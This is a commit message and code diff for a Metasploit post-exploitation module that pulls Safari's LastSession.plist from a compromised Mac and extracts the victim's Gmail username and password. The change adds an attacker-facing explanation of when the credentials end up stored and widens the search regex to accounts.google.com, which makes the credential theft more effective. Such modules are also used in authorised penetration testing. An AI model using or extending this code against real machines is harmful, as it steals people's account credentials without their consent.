Updates descriiption and improves regex for safari_lastsession.rb

This updates two things for the safari_lastsession post module:

1. The description is updated: More information is added to describe
how Safari would end up storing the Gmail credential in the last
session state, and what it means to you as an attacker.

2. Regex update for the domain to search for: Before the module starts
extract the session data, it needs to know which domain to extract from.
Originally I only added mail.google.com, but turns out the sensitive info
can be found in accounts.google.com, so I added that one.

Author: wchen-r7

modules/post/osx/gather/safari_lastsession.rb

@@ -14,11 +14,15 @@ def initialize(info={})
     super( update_info( info,
       'Name'          => 'OSX Gather Safari LastSession.plist',
       'Description'   => %q{
-        This module downloads the LastSession.plist file from the target machine.
-        LastSession.plist is used by Safari to track active websites in the current
-        session, and sometimes contains sensitive information such as usernames and
-        passwords. This module will first download the original LastSession.plist,
-        and then attempt to find the credential for Gmail.
+        This module downloads the LastSession.plist file from the target machine. 
+        LastSession.plist is used by Safari to track active websites in the current session,
+        and sometimes contains sensitive information such as usernames and passwords.
+
+        This module will first download the original LastSession.plist, and then attempt
+        to find the credential for Gmail. The Gmail's last session state may contain the
+        user's credential if his/her first login attempt failed (likely due to a typo),
+        and then the page got refreshed or another login attempt was made. This also means
+        the stolen credential might contains typos.
       },
       'License'       => MSF_LICENSE,
       'Author'        => [ 'sinn3r'],
@@ -111,16 +115,16 @@ def get_sessions(lastsession)
   #
   # Returns the <dict> session element
   # @param xml [REXML::Element] The array element for the session data
-  # @param domain [String] The domain to search for
+  # @param domain [Regexp] The domain to search for
   # @return [REXML::Element] The <dict> element for the session data
   #
-  def get_session_element(xml, domain)
+  def get_session_element(xml, domain_regx)
     dict = nil
 
     found = false
     xml.each_element do |e|
       e.elements['array/dict'].each_element do |e2|
-        if e2.text =~ /#{domain}/
+        if e2.text =~ domain_regx
           dict = e
           found = true
           break
@@ -141,7 +145,7 @@ def get_session_element(xml, domain)
   #
   def find_gmail_cred(xml)
     vprint_status("#{peer} - Looking for username/password for Gmail.")
-    gmail_dict = get_session_element(xml, 'mail.google.com')
+    gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)
     return '' if gmail_dict.nil?
 
     raw_data = gmail_dict.elements['array/dict/data'].text